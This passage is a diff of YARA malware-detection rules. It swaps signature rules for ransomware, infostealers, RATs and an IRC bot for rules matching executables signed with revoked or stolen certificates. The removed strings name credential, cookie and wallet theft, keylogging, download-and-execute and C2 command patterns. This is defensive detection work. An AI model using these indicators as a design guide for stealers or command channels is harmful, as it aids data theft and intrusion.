+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b13d2c36-c8d3-5138-9e9a-8b5390a93c8d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "95b1cba9-9625-55da-a321-08cdd4d3056f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1361-L1376"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3633-L3644"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "566eb7d1864e3a8088ad4f5d032d6d62a33080bbfc5c20c2520315cfc8146afc"
+		logic_hash = "9b57fd9840dceea97a2f013f803e8639add6c6b01f3764b65b3c1fe60ae0dd57"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "backconnect" ascii
-		$s2 = "connectForSocks" ascii
-		$s3 = "downloadAndExecute" ascii
-		$s4 = "download_and_exec" ascii
-		$s5 = "masscan" ascii
-		$s6 = "UpdateCommand:" ascii
-		$s7 = "exec_out" ascii
-		$s8 = "doTask with type %s" ascii
+		thumbprint = "87229a298b8de0c7b8d4e23119af1e7850a073f5"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ffadbcfabbe" and pe.signatures[i].serial=="5f:7e:f7:78:d5:1c:d3:3a:5f:c0:d2:e0:35:cc:d2:9d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Avaddon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ab1D5E43E4Dde77221381E21A764C082 : FILE
 {
 	meta:
-		description = "Avaddon ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d5618c8a-17b7-5009-9947-a6462ad2a4af"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "55135b31-93d7-512f-8506-51e49bc3dc92"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1378-L1395"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3646-L3657"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fc3032572d2ab2550d3dde738a3d403459da9b5b640acc814596d958b83620bf"
+		logic_hash = "3746c3494dca7fd2e0c7ab6641fe9ebbb8519df755022a3bde99c192158e4299"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\IMAGEM~1.%d\\VISUA~1\\BIN\\%s.exe" ascii
-		$s2 = "\\IMAGEM~1.%.2d-\\VISUA~1\\BIN\\%s.exe" ascii
-		$s3 = "\\IMAGEM~1.%d-Q\\VISUA~1\\BIN\\%s.exe" ascii
-		$s4 = "\\IMAGEM~1.%d\\%s.exe" ascii
-		$s5 = "EW6]>mFXDS?YBi?W5] CY 4Z8Y BY7Y BZ8Z CY7Y AY8Z CZ8Y!Y:Z" ascii
-		$s6 = "FY  AY 'Z      ;W      @Y  @Y 'Z    Y  @Y (Z" ascii
-		$s7 = "\"rcid\":\"" fullword ascii
-		$s8 = "\"ip\":\"" fullword ascii wide
-		$s9 = ".?AUANEventIsGetExternalIP@@" fullword ascii
-		$s10 = ".?AUANEventGetCpuMax@@" fullword ascii
+		thumbprint = "b84a817517ed50dbae5439be54248d30bd7a3290"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dadddbffbfcbdaaeeccecbbffac" and pe.signatures[i].serial=="00:ab:1d:5e:43:e4:dd:e7:72:21:38:1e:21:a7:64:c0:82")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Prolock : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4743E140C05B33F0449023946Bd05Acb : FILE
 {
 	meta:
-		description = "ProLock ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "88fa19ba-238c-5d4d-bf0c-d421ee2ecf1d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f3e8046a-0df7-5a67-a363-02961ec1545b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1397-L1413"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3659-L3670"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b7d2cc71acc4f643a86781d957afcf5203a2f4034b9ca7da93e8227ddee79f3b"
+		logic_hash = "be8764a008743f8ca8c1a5760c5daa7f6896c8710f5f79f9d5b42b07ef0d5fa8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.ProLock"
-
-	strings:
-		$s1 = ".flat" fullword ascii
-		$s2 = ".data" fullword ascii
-		$s3 = ".api" fullword ascii
-		$s4 = "RtlZeroMemory" fullword ascii
-		$s5 = "LoadLibraryA" fullword ascii
-		$s6 = "Sleep" fullword ascii
-		$s7 = "lstrcatA" fullword ascii
-		$s8 = { 55 89 E5 8B 45 08 EB 00 89 45 EC 8D 15 4F 10 40 00 8D 05 08 10 40 00 83 E8 08 29 C2 8B 45 EC 01 C2 31 }
+		thumbprint = "7b32c8cc35b86608c522a38c4fe38ebaa57f27675504cba32e0ab6babbf5094a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "STROI RENOV SARL" and pe.signatures[i].serial=="47:43:e1:40:c0:5b:33:f0:44:90:23:94:6b:d0:5a:cb")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Purplewave : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2C1Ee9B583310B5E34A1Ee6945A34B26 : FILE
 {
 	meta:
-		description = "PurpleWave infostealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6f978190-4b4d-5346-9218-0c9104254b45"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0cc94ceb-a5bf-511a-bcd0-136b5d35c348"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1415-L1432"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3672-L3683"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "98dca005d2fdf7eea89661e162292451b544847a7f8b63c8c25c82241ec8e04a"
+		logic_hash = "4891757929b64b45591792dd2526ffb7588345f76bcbd3e47f567e72ba03d7f2"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/loader/" fullword ascii
-		$s2 = "\\load_" fullword wide
-		$s3 = "boundaryaswell" fullword ascii
-		$s4 = "[passwords]" ascii
-		$s5 = "[is_encrypted]" ascii
-		$s6 = "[cookies]" ascii
-		$s7 = ".?AVMozillaBrowser@@" fullword ascii
-		$s8 = ".?AVChromeBrowser@@" fullword ascii
-		$s9 = ".?AV?$money" ascii
-		$s10 = "at t.me/LuckyStoreSupport" ascii
+		thumbprint = "7af96a09b6c43426369126cfffac018f11e5562cb64d32e5140cff3f138ffea4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Artmarket" and pe.signatures[i].serial=="2c:1e:e9:b5:83:31:0b:5e:34:a1:ee:69:45:a3:4b:26")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Java_Pyrogenic
+rule DITEKSHEN_INDICATOR_KB_CERT_00D338F8A490E37E6C2Be80A0E349929Fa : FILE
 {
 	meta:
-		description = "Pyrogenic/Qealler infostealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2b9268f0-2f73-51ad-ab72-9289e42e5bb1"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5bb542de-637f-58a4-b96a-f20dba7be1b7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1434-L1446"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3685-L3696"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bb8cb939f06a376f72dcbbb1f04ec34526f72c3bcc3b146b905a8466826d2c24"
+		logic_hash = "ed7a48df55f2d7873795470b9074421f4008d715db07978c79b174fc3f2a801a"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s1 = "bbb6fec5ebef0d93" ascii wide
-		$s2 = "2a898bc98aaf6c96f2054bb1eadc9848eb77633039e9e9ffd833184ce553fe9b" ascii wide
-		$s3 = "addShutdownHook" ascii wide
-		$s4 = "obfuscated/META-INF/QeallerV" ascii wide
-		$s5 = "globalIpAddress" ascii wide
+		tags = "FILE"
+		thumbprint = "480a9ce15fc76e03f096fda5af16e44e0d6a212d6f09a898f51ad5206149bbe1"
+		importance = 20
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SAGUARO ApS" and pe.signatures[i].serial=="00:d3:38:f8:a4:90:e3:7e:6c:2b:e8:0a:0e:34:99:29:fa")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Agentteslav3 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_778906D40695F65Ba518Db760Df44Cd3 : FILE
 {
 	meta:
-		description = "AgentTeslaV3 infostealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c44c69dd-5e95-595c-88c7-89e243648198"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "87f5a591-ed92-5ee8-99f8-04afe302609e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1448-L1481"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3698-L3709"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6c62b2f601eba3c83b60f7f6dbd3d0ec3c01af30f4312df897bb5e902c36fdac"
+		logic_hash = "2687ec82b9c968dca91b8f54c600fae794d01be43a31cce4b0e6ef63672870fd"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "get_kbok" fullword ascii
-		$s2 = "get_CHoo" fullword ascii
-		$s3 = "set_passwordIsSet" fullword ascii
-		$s4 = "get_enableLog" fullword ascii
-		$s5 = "bot%telegramapi%" wide
-		$s6 = "KillTorProcess" fullword ascii
-		$s7 = "GetMozilla" ascii
-		$s8 = "torbrowser" wide
-		$s9 = "%chatid%" wide
-		$s10 = "logins" fullword wide
-		$s11 = "credential" fullword wide
-		$s12 = "AccountConfiguration+" wide
-		$s13 = "<a.+?href\\s*=\\s*([\"'])(?<href>.+?)\\1[^>]*>" fullword wide
-		$g1 = "get_Clipboard" fullword ascii
-		$g2 = "get_Keyboard" fullword ascii
-		$g3 = "get_Password" fullword ascii
-		$g4 = "get_CtrlKeyDown" fullword ascii
-		$g5 = "get_ShiftKeyDown" fullword ascii
-		$g6 = "get_AltKeyDown" fullword ascii
-		$m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time" ascii
-		$m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii
-		$m3 = ">{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii
-		$m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii
-		$m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii
+		thumbprint = "1103debcb1e48f7dda9cec4211c0a7a9c1764252"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and (8 of ($s*) or (6 of ($*) and all of ($g*)))) or (2 of ($m*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="77:89:06:d4:06:95:f6:5b:a5:18:db:76:0d:f4:4c:d3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Taurus : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_45Eb9187A2505D8E6C842E6D366Ad0C8 : FILE
 {
 	meta:
-		description = "Taurus infostealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c02114c1-9c97-5d0c-b7ce-1bd6a00a9e9a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "75494bb2-fa70-5983-a75c-067b06c597e5"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1483-L1519"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3711-L3722"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6039c27e69b47dfcc1327c34306627d2d9bd57f6bd365bb80b47ad21f892ae8a"
+		logic_hash = "a900017eb33db455b94e3474ce3a2f1ebf6416ff21477a464aba68d32fd7c938"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "t.me/taurus_se" ascii
-		$s2 = "rus_seller@explo" ascii
-		$s3 = "/c timeout /t 3  & del /f /q" ascii
-		$s4 = "MyAwesomePrefix" ascii
-		$txt1 = "LogInfo.txt" fullword ascii
-		$txt2 = "Information.txt" fullword ascii
-		$txt3 = "General\\passwords.txt" fullword ascii
-		$txt4 = "General\\forms.txt" fullword ascii
-		$txt5 = "General\\cards.txt" fullword ascii
-		$txt6 = "Installed Software.txt" fullword ascii
-		$txt7 = "Crypto Wallets\\WalletInfo.txt" fullword ascii
-		$txt8 = "cookies.txt" fullword ascii
-		$url1 = "/cfg/" wide
-		$url2 = "/loader/complete/" wide
-		$url3 = "/log/" wide
-		$url4 = "/dlls/" wide
-		$upat = /\.exe;;;\d;\d;\d\]\|\[http/
-		$x1 = "Vaultcli.dll" fullword ascii
-		$x2 = "Bcrypt.dll" fullword ascii
-		$x3 = "*.localstor" ascii
-		$x4 = "operator<=>" fullword ascii
-		$x5 = ".data$rs" fullword ascii
-		$x6 = "https_discordap" ascii
-		$o1 = { 53 56 8b 75 08 8d 85 64 ff ff ff 57 6a ff 6a 01 }
-		$o2 = { 6a 00 68 00 04 00 00 ff b5 a8 fe ff ff ff b5 ac }
-		$o3 = { ff 75 0c 8d 85 44 ff ff ff 50 e8 aa f7 ff ff 8b }
-		$o4 = { 8b 47 04 c6 40 19 01 8d 85 6c ff ff ff 8b 0f 50 }
-		$o5 = { 8d 8d ?? ff ff ff e8 5b }
+		thumbprint = "63938d34572837514929fa7ae3cfebedf6d2cb65"
+		importance = 20
 
 	condition:
-		((3 of ($s*) or (6 of ($txt*) and 2 of ($s*)) or ($upat and 1 of ($s*) and 2 of ($txt*)) or ( all of ($url*) and (2 of ($txt*) or 1 of ($s*)))) or ( uint16(0)==0x5a4d and all of ($x*) or ( all of ($o*) and 3 of ($x*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BAKERA s.r.o." and pe.signatures[i].serial=="45:eb:91:87:a2:50:5d:8e:6c:84:2e:6d:36:6a:d0:c8")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Remoteutilitiesrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Cbc2Af7D82295A8535F3B26B47522640 : FILE
 {
 	meta:
-		description = "RemoteUtilitiesRAT RAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1cf3ece1-e723-5302-9673-273381ba7a8b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d4f422a7-2b1c-5db0-ad9b-1eb8b3a75e3c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1521-L1537"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3724-L3735"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "179a559f6a6ffbce31595bd613d338bb6ac40b8a083ed0169cde754b6ed756c7"
+		logic_hash = "6d9fb9b36bc4370851fd0f54bb9fb05e02fc7a6288355b57073c31b1feade41e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.RemoteUtilitiesRAT"
-
-	strings:
-		$s1 = "rman_message" wide
-		$s2 = "rms_invitation" wide
-		$s3 = "rms_host_" wide
-		$s4 = "rman_av_capture_settings" wide
-		$s5 = "rman_registry_key" wide
-		$s6 = "rms_system_information" wide
-		$s7 = "_rms_log.txt" wide
-		$s8 = "rms_internet_id_settings" wide
+		thumbprint = "08d2c03d0959905b4b04caee1202b8ed748a8bd0"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eabfdafffefaccaedaec" and pe.signatures[i].serial=="cb:c2:af:7d:82:29:5a:85:35:f3:b2:6b:47:52:26:40")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Slothfulmedia : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Ca1D9391Cf5Fe3E696831D98D6C35A6 : FILE
 {
 	meta:
-		description = "SlothfulMedia backdoor payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e94b6d67-137c-5cfb-9c59-fbeb6cd85f0a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e2f026d6-031d-5058-a7f1-fc492ea47908"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1539-L1565"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3737-L3748"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6f742e8d9d555b44daaa09835f599c99e16cd39bb106c8f43fbbca7093de462e"
+		logic_hash = "4c60dea4fe28c2799dc88712275e62a795c848120c4b463109942b8d9bc29a81"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = /ExtKeylogger(Start|Stop)/ fullword ascii
-		$x2 = /ExtService(Add|Delete|Start|Stop)/ fullword ascii
-		$x3 = /ExtRegKey(Add|Del)/ fullword ascii
-		$x4 = /ExtRegItem(Add|Del)/ fullword ascii
-		$x5 = "ExtUnload" fullword ascii
-		$s1 = "Local Security Process" fullword wide
-		$s2 = "Global%s%d" fullword wide
-		$s3 = "%s%s_%d.dat" fullword wide
-		$s4 = "\\AppIni" fullword wide
-		$s5 = "%s.tmp" fullword wide
-		$s6 = "\\SetupUi" fullword wide
-		$s7 = "%s|%s|%s|%s" fullword wide
-		$s8 = "\\ExtInfo" fullword wide
-		$cnc1 = "/v?m=" fullword ascii
-		$cnc2 = "%s&i=%d" fullword ascii
-		$cnc3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" fullword ascii
-		$cnc4 = "Content-Length: %d" fullword ascii
+		thumbprint = "0689776ca5ca0ca9641329dc29efdb61302d7378"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or 7 of ($s*) or all of ($cnc*) or (1 of ($x*) and 4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "www.norton.com" and pe.signatures[i].serial=="0c:a1:d9:39:1c:f5:fe:3e:69:68:31:d9:8d:6c:35:a6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Ircbot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_43A36A26Ebc78E111A874D8211A95E3F : FILE
 {
 	meta:
-		description = "IRCBot payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "69739d82-9760-5c4e-bf9e-60c60617a12a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "651ca649-c707-59d2-b482-5ca6d1e569b0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1567-L1596"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3750-L3761"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1ea640202cfbd0c3425a192c45938f632dc644f41c7974118e7491b026122818"
+		logic_hash = "2588c91e1cce7e595e4237843b03f3e65427b4c3ea634e9a4f8249e9c9f49dbe"
 		score = 75
-		quality = 67
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = ".okuninstall" fullword wide
-		$s2 = ".oksnapshot" fullword wide
-		$s3 = "\\uspread.vbs" fullword wide
-		$s4 = "KEYLogger" ascii nocase
-		$s5 = "GetKeyLogs" fullword ascii
-		$s6 = "GetLoocationInfo" fullword ascii
-		$s7 = "CaputerScreenshot" fullword ascii
-		$s8 = "get_SCRIPT_DATA" fullword ascii
-		$s9 = /irc_(server|nickname|password|channle)/ fullword ascii
-		$s10 = "machine_screenshot" fullword ascii
-		$s11 = "CollectPassword" fullword ascii
-		$s12 = "USBInfection" fullword ascii nocase
-		$cnc1 = "&command=UpdateAndGetTasks&machine_id=" wide
-		$cnc2 = "&machine_os=1&privateip=" wide
-		$cnc3 = "&command=InsertTaskExecution&excuter_id=" wide
-		$cnc4 = "&command=RegisterNewMachine" wide
-		$cnc5 = "&command=UpdateNewMachine" wide
-		$cnc6 = "&command=GetPayloads&keys=" wide
-		$cnc7 = "&command=SaveSnapshot" wide
-		$pdb = "\\Projects\\USBStarter\\USBStarter\\obj\\Release\\USBStarter.pdb" ascii
+		thumbprint = "a346bda33b5b3bea04b299fe87c165c4f221645a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($s*) or 3 of ($cnc*) or ($pdb and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Efacefcafeabbdcbcea" and pe.signatures[i].serial=="43:a3:6a:26:eb:c7:8e:11:1a:87:4d:82:11:a9:5e:3f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Apocalypse : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5172Caa2119185382343Fcbe09C43Bee : FILE
 {
 	meta:
-		description = "Apocalypse infostealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f1fa6642-fe42-57e7-a1bc-0f59815049f8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "54f38317-2d36-54ec-a3fc-04f8b0fc5529"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1598-L1615"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3763-L3774"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d18ac492ad57cf390f20693cb47ae2c6e3dbdd921fa846130a4bc20047e1aa27"
+		logic_hash = "7aa1447bd0ac43ac29ed69bd6618c3695bfb50517a7ffce7d4e793ae0c5e0fa6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "OpenClipboard" fullword ascii
-		$s2 = "SendARP" fullword ascii
-		$s3 = "GetWebRequest" fullword ascii
-		$s4 = "DotNetGuard" fullword ascii
-		$s5 = "set_CreateNoWindow" fullword ascii
-		$s6 = "UploadFile" fullword ascii
-		$s7 = "GetHINSTANCE" fullword ascii
-		$s8 = "Kill" fullword ascii
-		$s9 = "GetProcesses" fullword ascii
-		$s10 = "get_PrimaryScreen" fullword ascii
+		thumbprint = "fd9b3f6b0eb9bd9baf7cbdc79ae7979b7ddad770"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Aefcdac" and pe.signatures[i].serial=="51:72:ca:a2:11:91:85:38:23:43:fc:be:09:c4:3b:ee")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Osno : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_009245D1511923F541844Faa3C6Bfebcbe : FILE
 {
 	meta:
-		description = "Osno ransomware and infostealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "25ed5ad4-804a-5608-b6fe-a811ca6744d8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "db876459-a0d2-542f-8f7e-a486ba68aeb4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1617-L1652"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3776-L3787"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3df59c306017001467a5f237db2ab37d97c34116558e18420a6a1f01f08f520f"
+		logic_hash = "8d2c186b3aaaf353857e67ffd51a785e674335e824be78fc1c2ae1b9a0532eae"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = ".HolyGate+<>c+<<FinalBoss>" ascii
-		$s2 = /Osno(Keylogger|Stealer|Ransom)/ wide
-		$s3 = "password,executeWebhook('Account credentials" wide
-		$s4 = "-Name Osno -PropertyType" wide
-		$s5 = "process.env.hook" ascii
-		$s6 = "Stealer.JSON.JsonValue" ascii
-		$s7 = "<DetectBrowserss>b_" ascii
-		$s8 = "<TryGetDiscordPath>b_" ascii
-		$s9 = "antiVM" fullword ascii
-		$s10 = "downloadurl" fullword ascii
-		$s11 = "set_sPassword" fullword ascii
-		$txt0 = "{0} {1} .txt" fullword wide
-		$txt1 = "\\ScanningNetworks.txt" fullword wide
-		$txt2 = "\\SteamApps.txt" fullword wide
-		$txt3 = "-ErrorsLogs.txt" fullword wide
-		$txt4 = "-keylogs.txt" fullword wide
-		$txt5 = "Hardware & Soft.txt" fullword wide
-		$cnc0 = "/csharp/" ascii wide
-		$cnc1 = "token=" ascii wide
-		$cnc2 = "&timestamp=" ascii wide
